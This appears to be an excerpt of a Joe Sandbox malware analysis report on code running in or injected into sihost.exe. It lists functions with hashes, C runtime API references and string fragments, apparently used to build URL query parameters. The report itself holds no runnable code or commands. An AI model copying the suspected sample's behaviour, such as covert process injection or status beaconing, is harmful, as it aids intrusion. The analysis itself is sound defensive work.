_invalid_parameter_noinfo.LIBCMT ref: 00D1BB43

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::_
String ID:
API String ID: 1633384064-0
Opcode ID: d4b747a92edb20bbc5572129f064ed95ade2e80ec9bf7e12067f992c4eeeb308
Instruction ID: a0f0d584e72e304d7185cdd5bedd0d3b19b278de92d4cab998918f22d29fad75
Opcode Fuzzy Hash: d4b747a92edb20bbc5572129f064ed95ade2e80ec9bf7e12067f992c4eeeb308
Instruction Fuzzy Hash: 24212F62708380A2DF105B21F6813A97660F7487F0F544127F6A907F99CF6CC9C18B30

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DC34 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000000018000DC46
_invalid_parameter_noinfo.LIBCMT ref: 000000018000DC51
_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000000018000DC99
_errno.LIBCMT ref: 000000018000DCA8
_invalid_parameter_noinfo.LIBCMT ref: 000000018000DCB3

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::_
String ID:
API String ID: 1633384064-0
Opcode ID: 288a9a97da7088ca43373c56ca0cda328fcd8cb3a67af960b3e313a10bc1190c
Instruction ID: f98247d57748945a9b4486aa2b80b3cad153102af405e29280cf5a1c17803e78
Opcode Fuzzy Hash: 288a9a97da7088ca43373c56ca0cda328fcd8cb3a67af960b3e313a10bc1190c
Instruction Fuzzy Hash: 1B21C9B16047CD81FBE7D76594813E97690A74D7D0F24C123B69507BC5CE98C749CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00D1BBC0 Relevance: 10.6, APIs: 7, Instructions: 122COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00D1BBE0
_invalid_parameter_noinfo.LIBCMT ref: 00D1BBEB
_errno.LIBCMT ref: 00D1BC8E
_invalid_parameter_noinfo.LIBCMT ref: 00D1BC99

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: 7def267366782ea735c936ae3d42360d6f40a8217a2e5763a71416964c24bbf9
Instruction ID: 4c5ecc675c724e978fac0507fa483253ed9c03c761e87c54bb1026a56e160a23
Opcode Fuzzy Hash: 7def267366782ea735c936ae3d42360d6f40a8217a2e5763a71416964c24bbf9
Instruction Fuzzy Hash: 034124B2A10295A6DB28AB21B1412FA7361FB50BF4F8C4127EBD647695DF38C9C18770

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC3D40 Relevance: 10.6, APIs: 7, Instructions: 122COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D63EAC3D60
_invalid_parameter_noinfo.LIBCMT ref: 000001D63EAC3D6B
_errno.LIBCMT ref: 000001D63EAC3E0E
_invalid_parameter_noinfo.LIBCMT ref: 000001D63EAC3E19

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: fef81addd8708aff660fb5538850e2134825116496176dd3d337e2e1f1a9fb12
Instruction ID: 073130a8b458c684e447d7d6863f33427c72a5dfa587f7749dccc2c1d41aae83
Opcode Fuzzy Hash: fef81addd8708aff660fb5538850e2134825116496176dd3d337e2e1f1a9fb12
Instruction Fuzzy Hash: 684105F2F002D5A1EB656B119D803F972E0FB60B99F844357EA8D876C6D738E9488320

Uniqueness

Uniqueness Score: -1.00%

Function 00D1BFE8 Relevance: 10.6, APIs: 7, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

_RTC_Initialize.LIBCMT ref: 00D1C01A

Part of subcall function 00D20938: _malloc_crt.LIBCMT ref: 00D209B8

_mtterm.LIBCMT ref: 00D1C041
_mtterm.LIBCMT ref: 00D1C0AD
_mtterm.LIBCMT ref: 00D1C0C6
_calloc_crt.LIBCMT ref: 00D1C0EA
_initptd.LIBCMT ref: 00D1C112

Part of subcall function 00D1B478: _errno.LIBCMT ref: 00D1B498

_freeptd.LIBCMT ref: 00D1C137

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _mtterm$Initialize_calloc_crt_errno_freeptd_initptd_malloc_crt
String ID:
API String ID: 2896615014-0
Opcode ID: 3aa0bd643625214a733d6f0da8c7a90ac697512741327659b8a0375191682887
Instruction ID: 39692241abca3631462a10ab2e41f2373a55b4f818ac777efb380f980ff86b28
Opcode Fuzzy Hash: 3aa0bd643625214a733d6f0da8c7a90ac697512741327659b8a0375191682887
Instruction Fuzzy Hash: 5531B4207E8701F5FB24B7B1B9523EE2295DF6935CF187326E99585193EF28C8C19232

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EACEA0C Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001D63EACEA40

Part of subcall function 000001D63EAC3C98: _getptd.LIBCMT ref: 000001D63EAC3CAE
Part of subcall function 000001D63EAC3C98: __updatetlocinfo.LIBCMT ref: 000001D63EAC3CE3
Part of subcall function 000001D63EAC3C98: __updatetmbcinfo.LIBCMT ref: 000001D63EAC3D0A

_errno.LIBCMT ref: 000001D63EACEA5B
_invalid_parameter_noinfo.LIBCMT ref: 000001D63EACEA66

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 3191669884-0
Opcode ID: 99d7c239ac92d3376c270bcdf3e0101a7a4f88b5309c321eb9e7c21d9761df93
Instruction ID: bb85d86f063deef6b6751714788ba73231b83bdf27bbc3ef2dfe961991424bfa
Opcode Fuzzy Hash: 99d7c239ac92d3376c270bcdf3e0101a7a4f88b5309c321eb9e7c21d9761df93
Instruction Fuzzy Hash: CD31B1B2B047C0A9E7219F1198807AEB6E4F754BE1F149232EE6C87787CB74C845C760

Uniqueness

Uniqueness Score: -1.00%

Function 00D2B5C7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00D2B5CF
__DestructExceptionObject.LIBCMT ref: 00D2B5F2
__DestructExceptionObject.LIBCMT ref: 00D2B67C
_getptd.LIBCMT ref: 00D2B681
_getptd.LIBCMT ref: 00D2B68D

Strings

csm, xrefs: 00D2B64F

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _getptd$DestructExceptionObject
String ID: csm
API String ID: 1870926281-1018135373
Opcode ID: 6729beb9c596017bf136271801ea9fd94d2394c96913c09117a674936cb32d55
Instruction ID: 6f6c36eaaa522ed785e9ec1f72f0c20c4871e16eb0f3582afc447fefc52784a8
Opcode Fuzzy Hash: 6729beb9c596017bf136271801ea9fd94d2394c96913c09117a674936cb32d55
Instruction Fuzzy Hash: B2217A7660069086CA30DF16F04036EB771F399BA9F054216DF9907B55CF79D886CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAD393B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001D63EAD3943
__DestructExceptionObject.LIBCMT ref: 000001D63EAD3966
__DestructExceptionObject.LIBCMT ref: 000001D63EAD39F0
_getptd.LIBCMT ref: 000001D63EAD39F5
_getptd.LIBCMT ref: 000001D63EAD3A01

Strings

csm, xrefs: 000001D63EAD39C3

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _getptd$DestructExceptionObject
String ID: csm
API String ID: 1870926281-1018135373
Opcode ID: 9ee95f01053ddd03f46d9e04e25c32e80ddd411cddd0f5e0a72db87a3c5e677d
Instruction ID: 2636938c84c0195e6d55ac41eb6b5d2f106027d5880edb313674eee2c4e446bf
Opcode Fuzzy Hash: 9ee95f01053ddd03f46d9e04e25c32e80ddd411cddd0f5e0a72db87a3c5e677d
Instruction Fuzzy Hash: 0E213EBA20468196D730DF16E85039E7760F785BA5F044317DE9D03B96CB38E885CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D1A550 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 57COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00D1A5C3

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

swprintf.LIBCMT ref: 00D1A60B

Part of subcall function 00D1B82C: _errno.LIBCMT ref: 00D1B84A
Part of subcall function 00D1B82C: _invalid_parameter_noinfo.LIBCMT ref: 00D1B856

Strings

&ach, xrefs: 00D1A5F2
=%08, xrefs: 00D1A5FA
&sta, xrefs: 00D1A5D2
e=%d, xrefs: 00D1A5EA

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: swprintf$_errno_invalid_parameter_noinfo_vsprintf_s_l
String ID: &ach$&sta$=%08$e=%d
API String ID: 1399620794-1541478958
Opcode ID: cf6311c3f94397813725b2dbd4db199e366e6e4e226c0926a94389b6def5a7ac
Instruction ID: 942b391087dc44600716919eb8d18bd8f5d560300528bbf27ea2e803d9fd75f4
Opcode Fuzzy Hash: cf6311c3f94397813725b2dbd4db199e366e6e4e226c0926a94389b6def5a7ac
Instruction Fuzzy Hash: 5121A97222A6C59ADB61CF04F0417DABB20F788344F842112FA890BB49DF3CC545CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00D15F50 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 33COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00D15FCA

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

Part of subcall function 00D15BD0: swprintf.LIBCMT ref: 00D15C5D

Strings

&sta, xrefs: 00D15FA2
tus=, xrefs: 00D15FAA
=%s&, xrefs: 00D15FBA
%d&f, xrefs: 00D15FB2
a1=%, xrefs: 00D15FC2

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: swprintf$_vsprintf_s_l
String ID: %d&f$&sta$=%s&$a1=%$tus=
API String ID: 4008999296-410411565
Opcode ID: d25d1c60d1c3215ad3dfa8ba1405fd69e6eb4c4ff24307fd4b45b8c1a7be866e
Instruction ID: afacd61abe0c6472a880bf7b4bdf693e40aef9148738a646abb910801e123188
Opcode Fuzzy Hash: d25d1c60d1c3215ad3dfa8ba1405fd69e6eb4c4ff24307fd4b45b8c1a7be866e
Instruction Fuzzy Hash: 5A0148722196C087DB24CF41F49178AB760F788740F446116BA8A4BB58DB3CC545CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00D2B6C4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00D2B6E5
_getptd.LIBCMT ref: 00D2B6F3
_getptd.LIBCMT ref: 00D2B705

Strings

RCC, xrefs: 00D2B6CB
MOC, xrefs: 00D2B6D3
csm, xrefs: 00D2B6DB

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: e87fb4e1deb10562d9060cd03ef9d88bbd2520f7fa9eb29398d78d0d644a73a5
Instruction ID: f7cfae30534660c9c87b3d67a2bcef6a4766e8f5a14618ceca1ddbb6b3b4635d
Opcode Fuzzy Hash: e87fb4e1deb10562d9060cd03ef9d88bbd2520f7fa9eb29398d78d0d644a73a5
Instruction Fuzzy Hash: D5E0ED36610254D6C7192BA5B0463AC3B71F7A871EF9A946382544A302CBFC48C0CF72

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAD3A38 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001D63EAD3A59
_getptd.LIBCMT ref: 000001D63EAD3A67
_getptd.LIBCMT ref: 000001D63EAD3A79

Strings

MOC, xrefs: 000001D63EAD3A47
RCC, xrefs: 000001D63EAD3A3F
csm, xrefs: 000001D63EAD3A4F

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: ce95cd230320dba5399d76cdf62968b3e80c0ef44e1d7ab7cefe07c5be8c1ac8
Instruction ID: c21495fbd20d3a44fbb90eb388bd6c4f50392eec9e94c86b6a238a5392a1bc19
Opcode Fuzzy Hash: ce95cd230320dba5399d76cdf62968b3e80c0ef44e1d7ab7cefe07c5be8c1ac8
Instruction Fuzzy Hash: 8CF0E5F9B00180E5EB552B608C513ED31A0FB88702F89A767AA4C82393D3BD14C88A32

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC9B50 Relevance: 9.2, APIs: 6, Instructions: 225COMMON

Download Yara Rule

APIs

isleadbyte.LIBCMT ref: 000001D63EAC9BE1

Part of subcall function 000001D63EACB020: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000001D63EACB02F

_errno.LIBCMT ref: 000001D63EAC9E16
__doserrno.LIBCMT ref: 000001D63EAC9E21
_errno.LIBCMT ref: 000001D63EACA1B0
__doserrno.LIBCMT ref: 000001D63EACA1BB

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: Locale__doserrno_errno$UpdateUpdate::_isleadbyte
String ID:
API String ID: 2533778786-0
Opcode ID: 6f2ffe37d7d27aa6e3b295d3cc20445f412ea6ef20a86852405931d6a0dd8a1c
Instruction ID: 7b0e7e7d6511e0d6d4a81ebd8538455fe1e7033c80840e08250ee217c2a78f43
Opcode Fuzzy Hash: 6f2ffe37d7d27aa6e3b295d3cc20445f412ea6ef20a86852405931d6a0dd8a1c
Instruction Fuzzy Hash: 71A1C4B27087C1A5E7129B25E9403EEB7A4F785788F540213EB8EC3796DB39C445CB20

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC9E48 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D63EAC9E16
__doserrno.LIBCMT ref: 000001D63EAC9E21
_errno.LIBCMT ref: 000001D63EACA1B0
__doserrno.LIBCMT ref: 000001D63EACA1BB

Strings

U, xrefs: 000001D63EACA093

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: __doserrno_errno
String ID: U
API String ID: 921712934-4171548499
Opcode ID: 4158b5dd982d4c7719961cb8d53c3df53b32418b60c1fd9baa29b356b1084ff6
Instruction ID: ea03ad235da1f9235957365fc5b5b5b5ca897f8d2811b775dce9f2c60265687c
Opcode Fuzzy Hash: 4158b5dd982d4c7719961cb8d53c3df53b32418b60c1fd9baa29b356b1084ff6
Instruction Fuzzy Hash: 6F9114F2B146C1A6EB219F68DC443EE67A1F794788F400217EA4EC7B9ADA7CC544C760

Uniqueness

Uniqueness Score: -1.00%

Function 00D2049C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 00D204B4

Part of subcall function 00D1E2A0: _setmbcp.LIBCMT ref: 00D1E2B2

parse_cmdline.LIBCMT ref: 00D2050A
_malloc_crt.LIBCMT ref: 00D2053A
parse_cmdline.LIBCMT ref: 00D20560

Strings

C:\Windows\system32\sihost.exe, xrefs: 00D204B9

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: parse_cmdline$__initmbctable_malloc_crt_setmbcp
String ID: C:\Windows\system32\sihost.exe
API String ID: 1555979256-4083043701
Opcode ID: c60a2485f6cd1c36005d9d2affadd575133fec4c6b99f5d4fed655a0c244dca7
Instruction ID: c7aa4656acecf4d3a9d71b7a42114bc9ee21ab4b1fee14c865d8c11a11425dec
Opcode Fuzzy Hash: c60a2485f6cd1c36005d9d2affadd575133fec4c6b99f5d4fed655a0c244dca7
Instruction Fuzzy Hash: 9221032260869085DE20CB68F500359BBA1FB597E8F444726EBA803BEADB7CC141CF20

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014230 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 0000000180014248

Part of subcall function 000000018001092C: _setmbcp.LIBCMT ref: 000000018001093E

parse_cmdline.LIBCMT ref: 000000018001429E
_malloc_crt.LIBCMT ref: 00000001800142CE
parse_cmdline.LIBCMT ref: 00000001800142F4

Strings

C:\Windows\system32\sihost.exe, xrefs: 000000018001424D

Memory Dump Source

Source File: 00000002.00000002.4555064742.0000000180001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000002.00000002.4554929996.0000000180000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4555064742.000000018001F000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4557010003.0000000180020000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000000_sihost.jbxd

Similarity

API ID: parse_cmdline$__initmbctable_malloc_crt_setmbcp
String ID: C:\Windows\system32\sihost.exe
API String ID: 1555979256-4083043701
Opcode ID: 166bdd3e987e7844508918d43800780ffed5d3c1727f1fa26fa0c34f62f8466b
Instruction ID: 6156880cf64db561665e54b8a315fc2abf5508b56a7ed29575c2be8ed7f34f80
Opcode Fuzzy Hash: 166bdd3e987e7844508918d43800780ffed5d3c1727f1fa26fa0c34f62f8466b
Instruction Fuzzy Hash: F821A332204A4881EB91CB54B4003D9A3B1F74D7E4F948725FAB90BAE5DE7DC348C700

Uniqueness

Uniqueness Score: -1.00%

Function 00D16000 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 28COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00D1605E

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

Part of subcall function 00D15BD0: swprintf.LIBCMT ref: 00D15C5D

Strings

&sta, xrefs: 00D1603E
tus=, xrefs: 00D16046
%d&f, xrefs: 00D1604E
=%s, xrefs: 00D16056

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
